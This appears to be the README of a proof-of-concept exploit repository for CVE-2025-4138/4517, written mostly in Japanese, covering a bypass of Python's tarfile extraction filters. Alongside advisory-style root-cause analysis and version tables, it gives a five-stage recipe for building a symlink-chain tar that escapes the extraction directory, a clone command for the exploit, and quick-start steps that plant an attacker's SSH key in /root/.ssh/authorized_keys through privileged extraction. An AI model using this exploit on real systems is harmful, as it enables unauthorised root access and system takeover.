
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX シンボリックリンクフィルタの回避
filter="data" / filter="tar" 抽出による任意ファイル書き込み
Python の tarfile モジュールに存在する重大な脆弱性により、攻撃者は抽出フィルタ("data" と "tar")をバイパスし、意図した抽出ディレクトリの外に任意のファイルを書き込むことができます。特権プロセス(例: root権限で実行されるバックアップスクリプト、CI/CD パイプライン、パッケージインストーラ)が、安全とされる filter="data" パラメータを使用して攻撃者が制御するtarアーカイブを抽出すると、このエクスプロイトはその特権ユーザーとしての完全な任意ファイル書き込みを達成します — 通常は root への権限昇格につながります。
根本原因は os.path.realpath() の動作上の癖です。完全に展開されたパスが PATH_MAX(Linux では 4096 バイト、macOS では 1024 バイト)を超えると、シンボリックリンクの解決を黙って停止します。tarfile フィルタは安全性のチェックを realpath() に依存していますが、カーネルは抽出時にシンボリックリンクを独自に解決するため、ディレクトリエスケープを可能にするTOCTOU(Time-of-Check-to-Time-of-Use)ギャップが生じます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4(緊急) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 制限付きディレクトリへのパス名の制限が不適切 |
| 脆弱性の種類 | シンボリックリンクによるパストラバーサル / フィルタバイパス |
| 影響 | 任意ファイル書き込み → 権限昇格、サンドボックスエスケープ、データ改ざん |
| 攻撃ベクトル | フィルタ付きで tarfile.extractall() を使用する任意のアプリケーションに、悪意のあるtarアーカイブを配布する |
| 影響を受けるバージョン | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 修正バージョン | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| パッチ | CPython PR #135037 |
| 勧告 | GHSA-hgqp-3mmf-7h8f |
| 報告者 | Caleb Brown — Google Security Research |
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 影響を受けるバージョン
| Python ブランチ | 影響を受けるバージョン範囲 | 修正済みバージョン | 状態 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ パッチ済み |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ パッチ済み |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ パッチ済み |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ パッチ済み |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ パッチ済み |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ サポート終了 |
| 3.14+ | デフォルトのフィルターが `"data"` に変更された | 最新版を確認 | ⚠️ より高い曝露 |
> **注記:** Python 3.14+ では、デフォルトの `filter` パラメータが「フィルタリングなし」から `"data"` に変更されました。つまり、以前はフィルタがなく(そのためすでに安全ではなかった)アプリケーションが、デフォルトで脆弱なフィルタを使用するようになります。
---
## 影響を受けるコードパターン
脆弱な Python バージョンでこれを行っているアプリケーションは、悪用可能です:```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
一般的な実際の発生例:
.tar 配布物を処理git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**要件:** Python 3.6+ (アーカイブ作成用 — **ターゲット**は脆弱性のあるバージョンを実行している必要があります)
---
## 使用方法
### クイックスタート — SSHキーインジェクション```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar